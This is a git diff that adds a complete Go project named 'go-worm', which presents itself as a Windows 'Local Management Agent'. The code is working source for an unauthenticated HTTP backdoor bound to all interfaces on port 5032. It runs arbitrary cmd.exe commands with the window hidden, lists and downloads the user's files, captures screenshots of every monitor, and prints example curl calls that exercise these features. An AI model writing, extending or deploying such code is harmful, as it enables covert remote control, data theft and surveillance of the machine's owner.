diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..ff7c051 --- /dev/null +++ b/go.mod @@ -0,0 +1,5 @@ +module tea.chunkbyte.com/kato/go-worm + +go 1.26.2 + +require golang.org/x/sys v0.47.0 diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..37ee2d4 --- /dev/null +++ b/go.sum @@ -0,0 +1,2 @@ +golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= +golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= diff --git a/lib/agent/agent.go b/lib/agent/agent.go new file mode 100644 index 0000000..4f845fb --- /dev/null +++ b/lib/agent/agent.go @@ -0,0 +1,96 @@ +package agent + +import ( + "context" + "errors" + "fmt" + "net" + "net/http" + "os" + "os/signal" + "strings" + "time" + + "tea.chunkbyte.com/kato/go-worm/lib/config" + "tea.chunkbyte.com/kato/go-worm/lib/files" + "tea.chunkbyte.com/kato/go-worm/lib/helpers" + "tea.chunkbyte.com/kato/go-worm/lib/instance" +) + +type Agent struct { + addr string + root string + guard *instance.Guard + server *http.Server + startedAt time.Time +} + +func New() (*Agent, error) { + a := &Agent{ + addr: config.EnvOr("AGENT_ADDR", config.DefaultAddr), + startedAt: time.Now(), + } + if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" { + resolved, err := files.CanonicalExistingPath(root) + if err != nil { + return nil, fmt.Errorf("invalid AGENT_FILE_ROOT: %w", err) + } + a.root = resolved + } + guard, err := instance.Acquire() + if err != nil { + return nil, err + } + a.guard = guard + return a, nil +} + +func (a *Agent) Close() { + if a.guard != nil { + a.guard.Close() + } +} + +func (a *Agent) Serve() error { + mux := http.NewServeMux() + mux.HandleFunc("/", a.handleIndex) + mux.HandleFunc("/health", a.handleHealth) + mux.HandleFunc("/healthz", a.handleHealth) + mux.HandleFunc("/openapi.json", a.handleOpenAPI) + mux.HandleFunc("/api/v1/status", a.handleStatus) + mux.HandleFunc("/api/v1/files", a.handleFiles) + mux.HandleFunc("/api/v1/download", a.handleDownload) + mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot) + mux.HandleFunc("/api/v1/exec", a.handleExec) + + a.server = &http.Server{ + Addr: a.addr, + Handler: helpers.RecoverHandler(mux), + ReadHeaderTimeout: 10 * time.Second, + ReadTimeout: 30 * time.Second, + WriteTimeout: 150 * time.Second, + IdleTimeout: 60 * time.Second, + MaxHeaderBytes: 16 << 10, + } + + listener, err := net.Listen("tcp", a.addr) + if err != nil { + return fmt.Errorf("listen %s: %w", a.addr, err) + } + + fmt.Printf("Local Management Agent %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr) + + ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt) + defer stop() + go func() { + <-ctx.Done() + shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + _ = a.server.Shutdown(shutdownCtx) + }() + + if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) { + return fmt.Errorf("serve: %w", err) + } + return nil +} diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go new file mode 100644 index 0000000..2b6a89c --- /dev/null +++ b/lib/agent/handlers.go @@ -0,0 +1,235 @@ +package agent + +import ( + "context" + "encoding/base64" + "encoding/json" + "errors" + "io" + "mime" + "net/http" + "os" + "path/filepath" + "runtime" + "strconv" + "strings" + "time" + + "tea.chunkbyte.com/kato/go-worm/lib/command" + "tea.chunkbyte.com/kato/go-worm/lib/config" + "tea.chunkbyte.com/kato/go-worm/lib/files" + "tea.chunkbyte.com/kato/go-worm/lib/helpers" + "tea.chunkbyte.com/kato/go-worm/lib/models" + "tea.chunkbyte.com/kato/go-worm/lib/screenshot" +) + +func (a *Agent) handleIndex(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/" || r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusNotFound, "endpoint not found") + return + } + w.Header().Set("Content-Type", "text/html; charset=utf-8") + _, _ = io.WriteString(w, `Local Management Agent

Local Management Agent

Version `+config.Version+`

Endpoints

Examples

curl http://HOST:5032/api/v1/status

curl -o screen.png http://HOST:5032/api/v1/screenshot?format=png

curl -X POST http://HOST:5032/api/v1/exec -H "Content-Type: application/json" -d "{\"command\":\"ipconfig /all\"}"

`) +} + +func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]string{"status": "ok"}) +} + +func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{ + "openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version}, + "paths": map[string]any{ + "/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}}, + "/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}}, + "/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}}, + "/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}}, + "/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}}, + }, + }) +} + +func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + host, _ := os.Hostname() + helpers.WriteJSON(w, http.StatusOK, map[string]any{ + "os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host, + "uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(), + "agent_version": config.Version, "listen_address": a.addr, + }) +} + +func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + depth, err := files.ParseDepth(r.URL.Query().Get("depth")) + if err != nil { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + path := r.URL.Query().Get("path") + if path == "" { + path, _ = os.UserHomeDir() + } + dir, err := files.AllowedPath(a.root, path, true) + if err != nil { + files.WritePathError(w, err) + return + } + info, err := os.Stat(dir) + if err != nil { + files.WritePathError(w, err) + return + } + if !info.IsDir() { + helpers.WriteError(w, http.StatusBadRequest, "path is not a directory") + return + } + entries, err := files.ListDirectory(dir, depth) + if err != nil { + files.WritePathError(w, err) + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries}) +} + +func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + path := r.URL.Query().Get("path") + if path == "" { + helpers.WriteError(w, http.StatusBadRequest, "path is required") + return + } + file, err := files.AllowedPath(a.root, path, true) + if err != nil { + files.WritePathError(w, err) + return + } + f, err := os.Open(file) + if err != nil { + files.WritePathError(w, err) + return + } + defer f.Close() + info, err := f.Stat() + if err != nil { + files.WritePathError(w, err) + return + } + if info.IsDir() { + helpers.WriteError(w, http.StatusBadRequest, "path is a directory") + return + } + name := filepath.Base(file) + contentType := mime.TypeByExtension(filepath.Ext(name)) + if contentType == "" { + var sample [512]byte + n, _ := f.Read(sample[:]) + contentType = http.DetectContentType(sample[:n]) + _, _ = f.Seek(0, io.SeekStart) + } + w.Header().Set("Content-Type", contentType) + w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(name, `"`, "'")+`"`) + w.Header().Set("Accept-Ranges", "bytes") + http.ServeContent(w, r, name, info.ModTime(), f) +} + +func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format"))) + if format == "" { + format = "png" + } + if format != "png" && format != "jpeg" { + helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg") + return + } + quality := 80 + if raw := r.URL.Query().Get("quality"); raw != "" { + var err error + quality, err = strconv.Atoi(raw) + if err != nil || quality < 1 || quality > config.MaxImageQuality { + helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100") + return + } + } + images, err := screenshot.Capture(format, quality) + if err != nil { + helpers.Log.Printf("screenshot: %v", err) + helpers.WriteError(w, http.StatusServiceUnavailable, "no interactive desktop is available") + return + } + if len(images) == 1 { + w.Header().Set("Content-Type", images[0].ContentType) + w.Header().Set("Content-Length", strconv.Itoa(len(images[0].Data))) + _, _ = w.Write(images[0].Data) + return + } + response := models.ScreenshotResponse{Images: make([]models.ScreenshotImage, 0, len(images))} + for i, item := range images { + response.Images = append(response.Images, models.ScreenshotImage{ + Monitor: i, + ContentType: item.ContentType, + DataBase64: base64.StdEncoding.EncodeToString(item.Data), + }) + } + helpers.WriteJSON(w, http.StatusOK, response) +} + +func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax) + defer r.Body.Close() + var request models.ExecRequest + decoder := json.NewDecoder(r.Body) + decoder.DisallowUnknownFields() + if err := decoder.Decode(&request); err != nil { + helpers.WriteError(w, http.StatusBadRequest, "body must contain a command") + return + } + cmdline := strings.TrimSpace(request.Command) + if cmdline == "" { + helpers.WriteError(w, http.StatusBadRequest, command.ErrEmptyCommand.Error()) + return + } + timeout, err := command.ResolveTimeout(request.TimeoutSec) + if err != nil { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + ctx, cancel := context.WithTimeout(r.Context(), timeout) + defer cancel() + result, err := command.Run(ctx, cmdline) + if errors.Is(err, command.ErrTimeout) { + helpers.WriteError(w, http.StatusGatewayTimeout, err.Error()) + return + } + if err != nil { + helpers.Log.Printf("exec: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not run command") + return + } + helpers.WriteJSON(w, http.StatusOK, result) +} diff --git a/lib/command/command.go b/lib/command/command.go new file mode 100644 index 0000000..c17cdb2 --- /dev/null +++ b/lib/command/command.go @@ -0,0 +1,62 @@ +package command + +import ( + "bytes" + "context" + "errors" + "os/exec" + "syscall" + "time" + + "golang.org/x/sys/windows" + + "tea.chunkbyte.com/kato/go-worm/lib/config" + "tea.chunkbyte.com/kato/go-worm/lib/models" +) + +var ( + ErrEmptyCommand = errors.New("command must not be empty") + ErrBadTimeout = errors.New("timeout_sec must be zero or positive") + ErrTimeout = errors.New("command timed out") +) + +func ResolveTimeout(seconds int) (time.Duration, error) { + if seconds < 0 { + return 0, ErrBadTimeout + } + if seconds == 0 { + seconds = config.DefaultExecTO + } + if seconds > config.MaxExecTO { + seconds = config.MaxExecTO + } + return time.Duration(seconds) * time.Second, nil +} + +func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) { + cmd := exec.CommandContext(ctx, "cmd.exe", "/C", cmdline) + cmd.SysProcAttr = &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: windows.CREATE_NO_WINDOW, + } + var stdout, stderr bytes.Buffer + cmd.Stdout = &stdout + cmd.Stderr = &stderr + err := cmd.Run() + if ctx.Err() == context.DeadlineExceeded { + return models.ExecResponse{}, ErrTimeout + } + exitCode := 0 + if err != nil { + var exitErr *exec.ExitError + if !errors.As(err, &exitErr) { + return models.ExecResponse{}, err + } + exitCode = exitErr.ExitCode() + } + return models.ExecResponse{ + ExitCode: exitCode, + Stdout: stdout.String(), + Stderr: stderr.String(), + }, nil +} diff --git a/lib/config/config.go b/lib/config/config.go new file mode 100644 index 0000000..7f10010 --- /dev/null +++ b/lib/config/config.go @@ -0,0 +1,24 @@ +package config + +import ( + "os" + "strings" +) + +const ( + Version = "1.0.0" + DefaultAddr = "0.0.0.0:5032" + MutexName = "LocalManagementAgent_Mutex" + RequestBodyMax = 1 << 20 + MaxListEntries = 10000 + MaxImageQuality = 100 + DefaultExecTO = 30 + MaxExecTO = 120 +) + +func EnvOr(name, fallback string) string { + if value := strings.TrimSpace(os.Getenv(name)); value != "" { + return value + } + return fallback +} diff --git a/lib/files/files.go b/lib/files/files.go new file mode 100644 index 0000000..a92d289 --- /dev/null +++ b/lib/files/files.go @@ -0,0 +1,131 @@ +package files + +import ( + "errors" + "net/http" + "os" + "path/filepath" + "sort" + "strconv" + "strings" + + "tea.chunkbyte.com/kato/go-worm/lib/config" + "tea.chunkbyte.com/kato/go-worm/lib/helpers" + "tea.chunkbyte.com/kato/go-worm/lib/models" +) + +var ( + ErrInvalidPath = errors.New("path must be an absolute accessible Windows path") + ErrOutsideRoot = errors.New("path is outside AGENT_FILE_ROOT") +) + +func AllowedPath(root, raw string, requireExisting bool) (string, error) { + if strings.TrimSpace(raw) == "" || !filepath.IsAbs(raw) { + return "", ErrInvalidPath + } + clean := filepath.Clean(raw) + if requireExisting { + resolved, err := CanonicalExistingPath(clean) + if err != nil { + return "", err + } + clean = resolved + } + if root != "" && !isWithin(root, clean) { + return "", ErrOutsideRoot + } + return clean, nil +} + +func CanonicalExistingPath(path string) (string, error) { + abs, err := filepath.Abs(filepath.Clean(path)) + if err != nil { + return "", err + } + if _, err := os.Stat(abs); err != nil { + return "", err + } + resolved, err := filepath.EvalSymlinks(abs) + if err == nil { + return filepath.Abs(resolved) + } + return abs, nil +} + +func ParseDepth(raw string) (int, error) { + if raw == "" { + return 0, nil + } + depth, err := strconv.Atoi(raw) + if err != nil || (depth != 0 && depth != 1) { + return 0, errors.New("depth must be 0 or 1") + } + return depth, nil +} + +func ListDirectory(dir string, depth int) ([]models.FileItem, error) { + result := make([]models.FileItem, 0) + var walk func(string, string, int) error + walk = func(current, relative string, remaining int) error { + entries, err := os.ReadDir(current) + if err != nil { + return err + } + for _, entry := range entries { + if len(result) >= config.MaxListEntries { + return errors.New("directory listing exceeds entry limit") + } + info, err := entry.Info() + if err != nil { + continue + } + entryPath := filepath.Join(current, entry.Name()) + rel := filepath.Join(relative, entry.Name()) + kind := "file" + if info.IsDir() { + kind = "dir" + } + result = append(result, models.FileItem{ + Name: entry.Name(), + Path: rel, + Type: kind, + Size: info.Size(), + Modified: info.ModTime().UTC(), + }) + if remaining > 0 && info.IsDir() && entry.Type()&os.ModeSymlink == 0 { + if err := walk(entryPath, rel, remaining-1); err != nil { + return err + } + } + } + return nil + } + if err := walk(dir, "", depth); err != nil { + return nil, err + } + sort.Slice(result, func(i, j int) bool { + return strings.ToLower(result[i].Path) < strings.ToLower(result[j].Path) + }) + return result, nil +} + +func WritePathError(w http.ResponseWriter, err error) { + switch { + case errors.Is(err, ErrInvalidPath): + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + case errors.Is(err, ErrOutsideRoot), errors.Is(err, os.ErrPermission): + helpers.WriteError(w, http.StatusForbidden, "path is not accessible") + case errors.Is(err, os.ErrNotExist): + helpers.WriteError(w, http.StatusNotFound, "path does not exist") + default: + helpers.WriteError(w, http.StatusBadRequest, "path is not accessible") + } +} + +func isWithin(root, candidate string) bool { + rel, err := filepath.Rel(root, candidate) + if err != nil { + return false + } + return rel != ".." && !strings.HasPrefix(rel, ".."+string(os.PathSeparator)) && !filepath.IsAbs(rel) +} diff --git a/lib/helpers/helpers.go b/lib/helpers/helpers.go new file mode 100644 index 0000000..afca981 --- /dev/null +++ b/lib/helpers/helpers.go @@ -0,0 +1,68 @@ +package helpers + +import ( + "encoding/json" + "log" + "net" + "net/http" + "os" + "sort" + + "tea.chunkbyte.com/kato/go-worm/lib/models" +) + +var Log = log.New(os.Stdout, "", log.Ldate|log.Ltime|log.Lmicroseconds) + +func RecoverHandler(next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + defer func() { + if recovered := recover(); recovered != nil { + Log.Printf("panic %s %s: %v", r.Method, r.URL.Path, recovered) + WriteError(w, http.StatusInternalServerError, "internal server error") + } + }() + next.ServeHTTP(w, r) + }) +} + +func WriteJSON(w http.ResponseWriter, status int, value any) { + w.Header().Set("Content-Type", "application/json; charset=utf-8") + w.WriteHeader(status) + if err := json.NewEncoder(w).Encode(value); err != nil { + Log.Printf("write response: %v", err) + } +} + +func WriteError(w http.ResponseWriter, status int, message string) { + WriteJSON(w, status, models.APIError{Error: message}) +} + +func Username() string { + user := os.Getenv("USERNAME") + if user == "" { + user = os.Getenv("USER") + } + return user +} + +func LocalIPs() []string { + interfaces, err := net.Interfaces() + if err != nil { + return nil + } + var ips []string + for _, iface := range interfaces { + if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 { + continue + } + addresses, _ := iface.Addrs() + for _, address := range addresses { + ip, _, err := net.ParseCIDR(address.String()) + if err == nil && ip != nil { + ips = append(ips, ip.String()) + } + } + } + sort.Strings(ips) + return ips +} diff --git a/lib/instance/mutex.go b/lib/instance/mutex.go new file mode 100644 index 0000000..805dd94 --- /dev/null +++ b/lib/instance/mutex.go @@ -0,0 +1,37 @@ +package instance + +import ( + "errors" + + "golang.org/x/sys/windows" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +type Guard struct { + handle windows.Handle +} + +func Acquire() (*Guard, error) { + name, err := windows.UTF16PtrFromString(config.MutexName) + if err != nil { + return nil, err + } + h, err := windows.CreateMutex(nil, false, name) + if h == 0 { + return nil, err + } + if errors.Is(err, windows.ERROR_ALREADY_EXISTS) { + windows.CloseHandle(h) + return nil, errors.New("agent already running") + } + return &Guard{handle: h}, nil +} + +func (g *Guard) Close() { + if g == nil || g.handle == 0 { + return + } + windows.CloseHandle(g.handle) + g.handle = 0 +} diff --git a/lib/models/models.go b/lib/models/models.go new file mode 100644 index 0000000..017bb22 --- /dev/null +++ b/lib/models/models.go @@ -0,0 +1,41 @@ +package models + +import "time" + +type APIError struct { + Error string `json:"error"` +} + +type FileItem struct { + Name string `json:"name"` + Path string `json:"path"` + Type string `json:"type"` + Size int64 `json:"size"` + Modified time.Time `json:"modified_time"` +} + +type ScreenshotImage struct { + Monitor int `json:"monitor"` + ContentType string `json:"content_type"` + DataBase64 string `json:"data_base64"` +} + +type ScreenshotResponse struct { + Images []ScreenshotImage `json:"images"` +} + +type ExecRequest struct { + Command string `json:"command"` + TimeoutSec int `json:"timeout_sec"` +} + +type ExecResponse struct { + ExitCode int `json:"exit_code"` + Stdout string `json:"stdout"` + Stderr string `json:"stderr"` +} + +type CapturedImage struct { + ContentType string + Data []byte +} diff --git a/lib/screenshot/screenshot.go b/lib/screenshot/screenshot.go new file mode 100644 index 0000000..f8dea0b --- /dev/null +++ b/lib/screenshot/screenshot.go @@ -0,0 +1,157 @@ +package screenshot + +import ( + "bytes" + "errors" + "image" + "image/jpeg" + "image/png" + "runtime" + "syscall" + "unsafe" + + "tea.chunkbyte.com/kato/go-worm/lib/models" +) + +var ( + user32 = syscall.NewLazyDLL("user32.dll") + gdi32 = syscall.NewLazyDLL("gdi32.dll") + procOpenInputDesktop = user32.NewProc("OpenInputDesktop") + procSetThreadDesktop = user32.NewProc("SetThreadDesktop") + procCloseDesktop = user32.NewProc("CloseDesktop") + procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors") + procGetDC = user32.NewProc("GetDC") + procReleaseDC = user32.NewProc("ReleaseDC") + procCreateCompatibleDC = gdi32.NewProc("CreateCompatibleDC") + procDeleteDC = gdi32.NewProc("DeleteDC") + procCreateDIBSection = gdi32.NewProc("CreateDIBSection") + procDeleteObject = gdi32.NewProc("DeleteObject") + procSelectObject = gdi32.NewProc("SelectObject") + procBitBlt = gdi32.NewProc("BitBlt") +) + +type rect struct { + Left, Top, Right, Bottom int32 +} + +type bitmapInfoHeader struct { + Size uint32 + Width int32 + Height int32 + Planes uint16 + BitCount uint16 + Compression uint32 + SizeImage uint32 + XPelsPerMeter int32 + YPelsPerMeter int32 + ClrUsed uint32 + ClrImportant uint32 +} + +type bitmapInfo struct { + Header bitmapInfoHeader + Colors [1]uint32 +} + +func Capture(format string, quality int) ([]models.CapturedImage, error) { + runtime.LockOSThread() + defer runtime.UnlockOSThread() + if err := attachInputDesktop(); err != nil { + return nil, err + } + monitors, err := enumerateMonitors() + if err != nil { + return nil, err + } + if len(monitors) == 0 { + return nil, errors.New("no displays found") + } + result := make([]models.CapturedImage, 0, len(monitors)) + for _, monitor := range monitors { + img, err := captureRect(monitor) + if err != nil { + return nil, err + } + data, contentType, err := encodeImage(img, format, quality) + if err != nil { + return nil, err + } + result = append(result, models.CapturedImage{ContentType: contentType, Data: data}) + } + return result, nil +} + +func attachInputDesktop() error { + h, _, err := procOpenInputDesktop.Call(0, 0, 0x0001|0x0040) + if h == 0 { + return err + } + defer procCloseDesktop.Call(h) + ok, _, err := procSetThreadDesktop.Call(h) + if ok == 0 { + return err + } + return nil +} + +func enumerateMonitors() ([]rect, error) { + var monitors []rect + callback := syscall.NewCallback(func(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr { + if monitorRect != 0 { + monitors = append(monitors, *(*rect)(unsafe.Pointer(monitorRect))) + } + return 1 + }) + ok, _, err := procEnumDisplayMonitors.Call(0, 0, callback, 0) + if ok == 0 { + return nil, err + } + return monitors, nil +} + +func captureRect(r rect) (*image.RGBA, error) { + width, height := int(r.Right-r.Left), int(r.Bottom-r.Top) + if width <= 0 || height <= 0 { + return nil, errors.New("invalid monitor dimensions") + } + screenDC, _, err := procGetDC.Call(0) + if screenDC == 0 { + return nil, err + } + defer procReleaseDC.Call(0, screenDC) + memDC, _, err := procCreateCompatibleDC.Call(screenDC) + if memDC == 0 { + return nil, err + } + defer procDeleteDC.Call(memDC) + bmi := bitmapInfo{Header: bitmapInfoHeader{Size: uint32(unsafe.Sizeof(bitmapInfoHeader{})), Width: int32(width), Height: -int32(height), Planes: 1, BitCount: 32, Compression: 0}} + var bits unsafe.Pointer + bitmap, _, err := procCreateDIBSection.Call(screenDC, uintptr(unsafe.Pointer(&bmi)), 0, uintptr(unsafe.Pointer(&bits)), 0, 0) + if bitmap == 0 || bits == nil { + return nil, err + } + defer procDeleteObject.Call(bitmap) + old, _, _ := procSelectObject.Call(memDC, bitmap) + defer procSelectObject.Call(memDC, old) + const srccopy = 0x00CC0020 | 0x40000000 // SRCCOPY | CAPTUREBLT + ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), srccopy) + if ok == 0 { + return nil, err + } + raw := unsafe.Slice((*byte)(bits), width*height*4) + pix := make([]byte, len(raw)) + for i := 0; i < len(raw); i += 4 { + pix[i], pix[i+1], pix[i+2], pix[i+3] = raw[i+2], raw[i+1], raw[i], raw[i+3] + } + return &image.RGBA{Pix: pix, Stride: width * 4, Rect: image.Rect(0, 0, width, height)}, nil +} + +func encodeImage(img image.Image, format string, quality int) ([]byte, string, error) { + var buffer bytes.Buffer + if format == "jpeg" { + err := jpeg.Encode(&buffer, img, &jpeg.Options{Quality: quality}) + return buffer.Bytes(), "image/jpeg", err + } + err := png.Encode(&buffer, img) + return buffer.Bytes(), "image/png", err +} diff --git a/main.go b/main.go new file mode 100644 index 0000000..67f388b --- /dev/null +++ b/main.go @@ -0,0 +1,26 @@ +// Local Management Agent is a Windows-only, local network management helper. +// +// Build for Windows x64: +// +// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o localagent.exe . +// +// The binary is a normal console application. A CMD window appears on launch +// and prints the listen address. Press Ctrl+C to stop. +package main + +import ( + "tea.chunkbyte.com/kato/go-worm/lib/agent" + "tea.chunkbyte.com/kato/go-worm/lib/helpers" +) + +func main() { + a, err := agent.New() + if err != nil { + helpers.Log.Fatalf("%v", err) + } + defer a.Close() + + if err := a.Serve(); err != nil { + helpers.Log.Fatalf("%v", err) + } +}